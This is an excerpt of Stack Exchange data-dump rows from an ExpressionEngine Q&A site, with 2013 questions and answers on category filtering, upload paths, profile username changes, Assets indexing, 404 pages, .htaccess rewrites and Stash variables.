  <row Id="10642" PostTypeId="2" ParentId="10639" CreationDate="2013-05-22T15:59:00.187" Score="1" Body="&lt;p&gt;The old Field Pack is still up on github: &lt;a href=&quot;https://github.com/pixelandtonic/pt_field_pack&quot; rel=&quot;nofollow&quot;&gt;https://github.com/pixelandtonic/pt_field_pack&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="617" LastActivityDate="2013-05-22T15:59:00.187" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10644" PostTypeId="1" AcceptedAnswerId="10665" CreationDate="2013-05-22T16:23:27.290" Score="1" ViewCount="291" Body="&lt;p&gt;I have a channel with entries in categories and subcategories. I want to output a list of only the entries that are not in the subcategories. Is there a way to do an &quot;only A&quot; or &quot;A &amp;amp; not anything else&quot; type of selection?&lt;/p&gt;&#xA;" OwnerUserId="1518" LastActivityDate="2013-05-22T23:26:52.380" Title="When selecting channel entries, only select entries in just the top-level category" Tags="|channel-entries|conditionals|categories|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10645" PostTypeId="2" ParentId="10644" CreationDate="2013-05-22T16:31:04.573" Score="0" Body="&lt;p&gt;You can use the&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;category=&quot;&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can exclude all child categories&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;category=&quot;not 2|14|16&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or specify all parent categories&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;category=&quot;1|3|4&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Check out the docs: &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#category&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#category&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="426" LastEditorUserId="426" LastEditDate="2013-05-22T19:34:17.370" LastActivityDate="2013-05-22T19:34:17.370" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10646" PostTypeId="2" ParentId="10638" CreationDate="2013-05-22T16:34:54.070" Score="3" Body="&lt;p&gt;Try using the protocol neutral implementation, so&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* File Upload Preferences&#xA;-------------------------------------------------------------------*/&#xA;$config['upload_preferences'] = array(&#xA;  1 =&amp;gt; array(&#xA;    'name'        =&amp;gt; &quot;Uploads&quot;,&#xA;    'server_path' =&amp;gt; &quot;${_SERVER['DOCUMENT_ROOT']}/uploads/&quot;,&#xA;    'url'         =&amp;gt; &quot;//${_SERVER['HTTP_HOST']}/uploads/&quot;&#xA;  )&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Basically, this should allow either protocol to specified. The actually spec is called &lt;a href=&quot;http://www.paulirish.com/2010/the-protocol-relative-url/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;'Protocol-Relative'&lt;/strong&gt;&lt;/a&gt; you can read about it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IE6 have some issues with JS being loaded by URLs without protocol. And IE8- downloads css twice, if they don't have protocol. But you're fine to use them on images and other files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This not work on EECMS 2.5.2, but &lt;a href=&quot;https://support.ellislab.com/bugs/detail/18210&quot; rel=&quot;nofollow&quot;&gt;now it's fixed&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="252" LastEditorUserId="343" LastEditDate="2013-05-24T02:38:35.610" LastActivityDate="2013-05-24T02:38:35.610" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10648" PostTypeId="2" ParentId="10629" CreationDate="2013-05-22T16:42:50.600" Score="1" Body="&lt;p&gt;You're re-wrapping your Stash get_list in another Channel Entries tag pair where you're also outputting 1. &lt;code&gt;limit=&quot;1&quot;&lt;/code&gt;. So it looks like it will probably be running the Stash list and then acting on the outer loop of the extra Channel Entries tag pair.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-05-22T16:42:50.600" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10649" PostTypeId="1" AcceptedAnswerId="10658" CreationDate="2013-05-22T17:28:00.493" Score="2" ViewCount="202" Body="&lt;p&gt;I don't know what is going on with the guys over at MightyBigRobot, but I am getting extremely frustrated that I can't get an answer to this issue. I have a client withholding payment until this basic feature is working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have &quot;Email as Username&quot; enabled in Profile:Edit, but when a user updates their email address, it does not carry over to the native EE Member Username field so they cannot log in using their new email address, they have to continue to log in using their old one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone give me some direction on how to get this working? I've emailed them, posted on their support forums and get nothing in return.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for any help you can provide! :-)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:profile:edit return=&quot;account/profile/updated&quot; class=&quot;validate&quot;}&#xA;   &amp;lt;div class=&quot;row-fluid&quot;&amp;gt;&#xA;     &amp;lt;div class=&quot;span6&quot;&amp;gt;&#xA;       &amp;lt;label&amp;gt;E-Mail Address *&amp;lt;/label&amp;gt;&#xA;       &amp;lt;input type=&quot;text&quot; class=&quot;span12&quot; name=&quot;email&quot; value=&quot;{email}&quot; required /&amp;gt;&#xA;     &amp;lt;/div&amp;gt;&#xA;   &amp;lt;/div&amp;gt;&#xA;&#xA;   &amp;lt;hr /&amp;gt;&#xA;&#xA;   &amp;lt;p&amp;gt;&amp;lt;a href=&quot;{path='account/password'}&quot;&amp;gt;Click here to change your password&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;   &amp;lt;hr /&amp;gt;&#xA;&#xA;   &amp;lt;div class=&quot;row-fluid&quot;&amp;gt;&#xA;     &amp;lt;div class=&quot;span6&quot;&amp;gt;&#xA;     &amp;lt;label&amp;gt;First Name *&amp;lt;/label&amp;gt;&#xA;     &amp;lt;input type=&quot;text&quot; name=&quot;member_first_name&quot; value=&quot;{member_first_name}&quot; class=&quot;span12&quot; required /&amp;gt;&#xA;     &amp;lt;/div&amp;gt;&#xA;&#xA;     &amp;lt;div class=&quot;span6&quot;&amp;gt;&#xA;     &amp;lt;label&amp;gt;Last Name *&amp;lt;/label&amp;gt;&#xA;       &amp;lt;input type=&quot;text&quot; name=&quot;member_last_name&quot; value=&quot;{member_last_name}&quot; class=&quot;span12&quot; required /&amp;gt;&#xA;     &amp;lt;/div&amp;gt;&#xA;   &amp;lt;/div&amp;gt;&#xA;&#xA;   &amp;lt;div class=&quot;row-fluid&quot;&amp;gt;&#xA;     &amp;lt;div class=&quot;span6&quot;&amp;gt;&#xA;       &amp;lt;label&amp;gt;Company *&amp;lt;/label&amp;gt;&#xA;       &amp;lt;input type=&quot;text&quot; name=&quot;member_company&quot; value=&quot;{member_company}&quot; class=&quot;span12&quot; required /&amp;gt;&#xA;     &amp;lt;/div&amp;gt;&#xA;   &amp;lt;/div&amp;gt;&#xA;&#xA;   &amp;lt;div class=&quot;row-fluid&quot;&amp;gt;&#xA;     &amp;lt;div class=&quot;span6&quot;&amp;gt;&#xA;       &amp;lt;label&amp;gt;Address *&amp;lt;/label&amp;gt;&#xA;       &amp;lt;input type=&quot;text&quot; name=&quot;member_address&quot; value=&quot;{member_address}&quot; class=&quot;span12&quot; required /&amp;gt;&#xA;     &amp;lt;/div&amp;gt;&#xA;   &amp;lt;/div&amp;gt;&#xA;&#xA;   &amp;lt;div class=&quot;row-fluid&quot;&amp;gt;&#xA;     &amp;lt;div class=&quot;span5&quot;&amp;gt;&#xA;       &amp;lt;label&amp;gt;City *&amp;lt;/label&amp;gt;&#xA;       &amp;lt;input type=&quot;text&quot; name=&quot;member_city&quot; value=&quot;{member_city}&quot; class=&quot;span12&quot; required /&amp;gt;&#xA;     &amp;lt;/div&amp;gt;&#xA;&#xA;     &amp;lt;div class=&quot;span4&quot;&amp;gt;&#xA;       &amp;lt;label&amp;gt;State *&amp;lt;/label&amp;gt;&#xA;       {exp:cartthrob:state_select name=&quot;member_state&quot; selected=&quot;{member_state}&quot; class=&quot;span12&quot;}&#xA;     &amp;lt;/div&amp;gt;&#xA;&#xA;     &amp;lt;div class=&quot;span3&quot;&amp;gt;&#xA;       &amp;lt;label&amp;gt;Zip *&amp;lt;/label&amp;gt;&#xA;       &amp;lt;input type=&quot;text&quot; name=&quot;member_zip&quot; value=&quot;{member_zip}&quot; class=&quot;span12&quot; required /&amp;gt;&#xA;     &amp;lt;/div&amp;gt;&#xA;   &amp;lt;/div&amp;gt;&#xA;&#xA;   &amp;lt;div class=&quot;row-fluid&quot;&amp;gt;&#xA;     &amp;lt;div class=&quot;span6&quot;&amp;gt;&#xA;       &amp;lt;label&amp;gt;Phone Number *&amp;lt;/label&amp;gt;&#xA;       &amp;lt;input type=&quot;text&quot; name=&quot;member_phone&quot; value=&quot;{member_phone}&quot; class=&quot;span12 phone&quot; required /&amp;gt;&#xA;     &amp;lt;/div&amp;gt;&#xA;   &amp;lt;/div&amp;gt;&#xA;&#xA;   &amp;lt;hr /&amp;gt;&#xA;&#xA;   &amp;lt;input type=&quot;submit&quot; value=&quot;Update&quot; class=&quot;btn btn-success&quot; /&amp;gt;&#xA;{/exp:profile:edit}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="659" LastActivityDate="2013-05-22T20:46:03.403" Title="About to go ape - Changing email/username in Profile:Edit" Tags="|cartthrob|profile-edit|mightybigrobot|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10650" PostTypeId="1" CreationDate="2013-05-22T17:33:06.443" Score="0" ViewCount="520" Body="&lt;p&gt;When I try to update the index for an upload directory, the progress bar will freeze at a certain point. The first time I run the update, it freezes fairly early, but sometimes if I refresh the page and run the update again, the bar will progress quickly, then freeze in the middle or about 3/4 of the way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assets works perfectly on my local WAMP server. It's only on the production server where this issue is occurring.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I get this console error multiple times when running the update index:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;POST https://www.mysite.com/ 500 (Internal Server Error) jquery.js:177&#xA;Uncaught Internal Server Error, admin.php:389&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All of my upload directories are 777 permissions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The URL I'm using to access the control panel matches the Site URL in General Configuration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;system/expressionengine/cache&lt;/code&gt; directory has 777 permissions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using &lt;em&gt;absolute&lt;/em&gt; paths for my File Upload Preferences on my local environment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;External sources are &lt;em&gt;not&lt;/em&gt; included.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also cleared out my .htaccess file except for these rules:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine On&#xA;RewriteBase /&#xA;&#xA;# ----------------------------------&#xA;# Keep WWW Rule the topmost rule.&#xA;# ----------------------------------&#xA;&#xA;# Redirect non-www URLs to www&#xA;RewriteCond %{HTTP_HOST} !^www\.&#xA;RewriteRule ^(.*)$ http://www.%{HTTP_HOST}/$1 [R=301,L]&#xA;&#xA;# Force SSL &#xA;RewriteCond %{ENV:HTTPS} !on [NC]&#xA;RewriteRule ^(.*)$ https://www.mysite.com/$1 [R,L] &#xA;&#xA;# Remove index.php from ExpressionEngine URLs&#xA;RewriteCond $1 !\.(gif|jpe?g|png)$ [NC]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule ^(.*)$ /index.php/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This problem coincides with other Assets uploading issues, but I figured I'd start with this.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;EE 2.6.1&lt;/li&gt;&#xA;&lt;li&gt;Assets 2.1.3&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5" LastEditorUserId="5" LastEditDate="2013-05-22T22:13:57.443" LastActivityDate="2013-05-22T22:13:57.443" Title="Assets: Updating Indexes Freezes" Tags="|assets|" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="10651" PostTypeId="2" ParentId="10649" CreationDate="2013-05-22T17:39:33.497" Score="0" Body="&lt;p&gt;This is working fine for me... Are you running the latest version of P:E?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, what does your login form look like? On my P:E login form I'm using &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;input type=&quot;text&quot; name=&quot;username&quot;&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and then on my P:E edit profile form I'm using&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;input type=&quot;text&quot; name=&quot;email&quot;&amp;gt;&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the same as your code block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit to add, I've tested using EE 2.5.5 and P:E 1.0.8, so not the most recent versions myself.&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2013-05-22T17:39:33.497" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10652" PostTypeId="1" AcceptedAnswerId="10653" CreationDate="2013-05-22T17:43:18.663" Score="0" ViewCount="870" Body="&lt;p&gt;How do you create a 404 page for Expression Engine? Does anyone have any tips or links to documentation or articles that cover this subject? Any help will be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="1068" LastActivityDate="2013-06-13T10:47:26.710" Title="Creating a 404 page for ExpressionEngine" Tags="|404|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10653" PostTypeId="2" ParentId="10652" CreationDate="2013-05-22T18:24:42.387" Score="4" Body="&lt;p&gt;You might read this article &lt;a href=&quot;http://joviawebstudio.com/index_ee.php/blog/guide_to_404_pages_with_expressionengine/&quot; rel=&quot;nofollow&quot;&gt;Guide to 404 Pages with ExpressionEngine&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would help you great.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-05-22T18:24:42.387" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10654" PostTypeId="1" CreationDate="2013-05-22T18:33:23.513" Score="1" ViewCount="72" Body="&lt;p&gt;I'm currently working on an EE site (2.5.5) and I currently have a setup in place where there are next/prev buttons displayed on the singular view templates for articles (Two channels: Articles &amp;amp; Interviews). The buttons link you chronologically from entry to entry spanning across channels which is great.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;articles|interviews|travelling_tips&quot;}&#xA;{exp:entries_list per_page=&quot;1&quot; entry_id=&quot;{entry_id}&quot; entry_series=&quot;{embed:all}&quot;}&#xA;  {if previous_entry_title}&#xA;    &amp;lt;a class=&quot;content-nav prev&quot; href=&quot;{previous_entry_channel_url}view/{previous_entry_url_title}&quot;&amp;gt;Previous Entry: {previous_entry_title}&amp;lt;span&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&#xA;  {/if}&#xA;  {if next_entry_title}&#xA;      &amp;lt;a class=&quot;content-nav next&quot; href=&quot;{next_entry_channel_url}view/{next_entry_url_title}&quot;&amp;gt;&amp;lt;span&amp;gt;&amp;lt;/span&amp;gt; Next Entry: {next_entry_title}&amp;lt;/a&amp;gt;&#xA;  {/if}&#xA;{/exp:entries_list}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the embed from the articles/view template (also interviews/view template):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;embeds/related-articles&quot; &#xA;    entry_id=&quot;{entry_id}&quot;&#xA;    categories=&quot;{categories backspace='1'}{category_id}|{/categories}&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where I'm running into a problem is when the client has a very specific set of criteria on how these buttons work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a user uses the search field and then clicks on an article from the search results page, she wants the next/prev buttons to only click through THE SAME channel bringing up more relevant stories. Currently in the search results if you click on an article it will take you to the articles/view template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is how would I best approach this? Would have have to make some sort of new view like search/view to display that article?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for your time! If I need to rephrase, please let me know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE 2.5.5&#xA;Entries List 4.2.2&lt;/p&gt;&#xA;" OwnerUserId="1253" LastEditorUserId="69" LastEditDate="2013-05-22T19:03:07.660" LastActivityDate="2013-05-24T13:17:00.390" Title="Determine which channel the user came from and display information accordingly" Tags="|related-entries|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10655" PostTypeId="2" ParentId="10644" CreationDate="2013-05-22T19:36:04.447" Score="1" Body="&lt;p&gt;Try &lt;a href=&quot;http://devot-ee.com/add-ons/dandy-cat&quot; rel=&quot;nofollow&quot;&gt;Dandy Cat&lt;/a&gt;. it allow really crazy stuff on categories.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2013-05-22T19:36:04.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10656" PostTypeId="1" CreationDate="2013-05-22T19:57:27.003" Score="1" ViewCount="111" Body="&lt;p&gt;Field Instructions&#xA;Instructions for authors on how or what to enter into this field when submitting an entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to add field instruction to the &quot;Total Stock&quot; or &quot;Limited Stock&quot; field so my client will know what to enter into this field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Were do I accomplish this, I don't see any store fields listed in the Channel Fields Admin area.&lt;/p&gt;&#xA;" OwnerUserId="1511" LastActivityDate="2013-05-22T23:08:14.467" Title="Exp:resso Store - Field Instructions - How do I edit this?" Tags="|expresso-store|custom-fields|expresso|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10657" PostTypeId="2" ParentId="10604" CreationDate="2013-05-22T20:39:47.193" Score="0" Body="&lt;p&gt;You may be experiencing the problem from this bug. &lt;a href=&quot;https://support.ellislab.com/bugs/detail/19334&quot; rel=&quot;nofollow&quot;&gt;https://support.ellislab.com/bugs/detail/19334&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Give the suggested fix a try and let us know if that helps you.&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-05-22T20:39:47.193" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="10658" PostTypeId="2" ParentId="10649" CreationDate="2013-05-22T20:46:03.403" Score="3" Body="&lt;p&gt;&lt;strong&gt;SUCCESS!!!!!!&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Admin &amp;gt; Security and Privacy &amp;gt; Security and Sessions &amp;gt; Allow members to change username&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;was set to NO! Changed it to yes and voila! Erghh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simple fix but should be documented somewhere!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps someone out there!&lt;/p&gt;&#xA;" OwnerUserId="659" LastActivityDate="2013-05-22T20:46:03.403" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10659" PostTypeId="1" AcceptedAnswerId="10664" CreationDate="2013-05-22T21:31:19.903" Score="0" ViewCount="210" Body="&lt;p&gt;It will not keep the uri that I type into the field in my entry. When I go back into the entry, it is back to the example/pages/uri. I have used module on this site in the past, I had uninstalled it and now re-installed it. Could this be a problem?&lt;/p&gt;&#xA;" OwnerUserId="1246" LastActivityDate="2013-05-22T23:13:55.097" Title="Any reason the Pages Modules would not keep my assigned uri?" Tags="|module|url|pages|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10660" PostTypeId="1" AcceptedAnswerId="10661" CreationDate="2013-05-22T22:30:05.947" Score="0" ViewCount="208" Body="&lt;p&gt;I have the following code using the {site_url} variable, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;g-plusone&quot; data-annotation=&quot;inline&quot; data-width=&quot;300&quot; data-href=&quot;{site_url}&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, when I changed the variable to {current_url}, it doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;g-plusone&quot; data-annotation=&quot;inline&quot; data-width=&quot;300&quot; data-href=&quot;{current_url}&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any idea why one standard global variable would work and not the other?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1284" LastActivityDate="2013-05-22T22:59:07.840" Title="Reason why site_url would work in template, but not current_url?" Tags="|templates|global-variables|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10661" PostTypeId="2" ParentId="10660" CreationDate="2013-05-22T22:59:07.840" Score="0" Body="&lt;p&gt;&lt;code&gt;{current_url}&lt;/code&gt; was only included in EE 2.5.4 so if it's older than this then that will be why it doesn't work. An alternative approach would be to either use {site_url} followed by segment variables (not too clean) or use &lt;a href=&quot;http://devot-ee.com/add-ons/currentlee&quot; rel=&quot;nofollow&quot;&gt;one&lt;/a&gt; &lt;a href=&quot;http://devot-ee.com/add-ons/current&quot; rel=&quot;nofollow&quot;&gt;of the&lt;/a&gt; &lt;a href=&quot;http://devot-ee.com/add-ons/url-helper&quot; rel=&quot;nofollow&quot;&gt;many&lt;/a&gt; plugins which address this shortfall prior to 2.5.4.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally I quite like &lt;a href=&quot;http://devot-ee.com/add-ons/url-helper&quot; rel=&quot;nofollow&quot;&gt;URL Helper&lt;/a&gt; as it has many useful utilities wrapped up into one handy package. It fills a lot of small holes in EE's URL handling.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-05-22T22:59:07.840" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10662" PostTypeId="2" ParentId="10656" CreationDate="2013-05-22T23:02:53.700" Score="0" Body="&lt;p&gt;You would first need to add a Store fieldtype to what ever channel that you want to have Store products in. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qkCYC.png&quot; alt=&quot;Custom Fields&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will need to simply add any instructions to the &quot;Field Instructions&quot; on the fieldtype settings page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/clcxd.png&quot; alt=&quot;Field Instructions&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2013-05-22T23:02:53.700" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10663" PostTypeId="2" ParentId="10656" CreationDate="2013-05-22T23:08:14.467" Score="1" Body="&lt;p&gt;The Store field type is one single field so you can't edit individual field labels inside unfortunately. It is done this way for ease of use as most of the inner fields are fairly self explanatory. Hopefully 'Limit Stock' will make sense to most users and once they've entered one product they'll know the drill.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-05-22T23:08:14.467" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="10664" PostTypeId="2" ParentId="10659" CreationDate="2013-05-22T23:13:55.097" Score="0" Body="&lt;p&gt;It's worth ensuring that the Pages module is properly installed (Addons &gt; Modules | Status: Installed). Also, it's worth trying Addons &gt; Modules &gt; Run Module Updates in top right corner of the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other than that ensure that the Pages module is configured correctly in Pages &gt; Module Configuration. Ensure that you've set the default blog and template to use. &lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-05-22T23:13:55.097" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10665" PostTypeId="2" ParentId="10644" CreationDate="2013-05-22T23:26:52.380" Score="2" Body="&lt;p&gt;I'd look to use &lt;a href=&quot;http://gwcode.com/add-ons/gwcode-categories/documentation&quot; rel=&quot;nofollow&quot;&gt;GWCode Categories&lt;/a&gt;. You have the same control over inclusions and exclusions but a whole load more on top. &lt;code&gt;excl_cat_id&lt;/code&gt; and &lt;code&gt;excl_cat_id_children&lt;/code&gt; could be useful here if the categories are relatively fixed and you know their IDs. &lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-05-22T23:26:52.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10666" PostTypeId="2" ParentId="10486" CreationDate="2013-05-23T08:31:34.797" Score="1" Body="&lt;p&gt;When adding another sub site in EE with multisite manager it is important to note that you need a .htaccess file in the root of the sub directory along with the index.php and admin.php too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This .htaccess file needs to be super simple and use the following conditions to work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;        RewriteEngine On&#xA;&#xA;        # Removes index.php from ExpressionEngine URLs&#xA;        RewriteCond $1 !\.(gif|jpe?g|png)$ [NC]&#xA;        RewriteCond %{REQUEST_FILENAME} !-f&#xA;        RewriteCond %{REQUEST_FILENAME} !-d&#xA;        RewriteRule ^(.*)$ index.php/$1 [L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;An make sure in the sub sites global preferences that you take the index.php out of the configuration for the sites index too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And thats what worked for me :)&lt;/p&gt;&#xA;" OwnerUserId="1444" LastActivityDate="2013-05-23T08:31:34.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10667" PostTypeId="1" AcceptedAnswerId="10668" CreationDate="2013-05-23T11:20:44.560" Score="0" ViewCount="194" Body="&lt;p&gt;in the examples of Stash and every other similar plugin I always see the variables being set inside the channel:entries tag. But what if I need to set a tag inside the tag of another module? Like for example Solspace's Rating module? Have a look at the code below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here I'm trying to set a Stash variable...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:rating:stats}&#xA;  {exp:stash:set name=&quot;rating&quot;}{overall_rating}{/exp:stash:set}&#xA;{/exp:rating:stats}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here I attempting to output it...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get name=&quot;rating&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But this isn't working with Stash or the String plugin which I also tried.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems like I can only set variables inside the channel:entries tag. Is this true?&#xA;Is there no way to store variables for later use inside third party module tags such as Solspace's Ratings?&lt;/p&gt;&#xA;" OwnerUserId="569" LastActivityDate="2013-05-23T12:13:46.533" Title="Can I use Stash inside Third Party Module Tags?" Tags="|stash|module|variable|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10668" PostTypeId="2" ParentId="10667" CreationDate="2013-05-23T12:13:46.533" Score="0" Body="&lt;p&gt;Yes anything's possible when you get your head around parse order. There are several different ways of doing this, but generally I find it easiest to always put Stash on the outside of other tags (regardless of whether they're third party or not):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set parse_tags=&quot;yes&quot;}&#xA;    {exp:rating:stats}&#xA;        {stash:rating}{overall_rating}{/stash:rating}&#xA;        {stash:something-else}{another_thing}{/stash:something-else}&#xA;    {/exp:rating:stats}&#xA;{/exp:stash:set}&#xA;&#xA;Rating: {exp:stash:get name=&quot;rating&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="182" LastActivityDate="2013-05-23T12:13:46.533" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
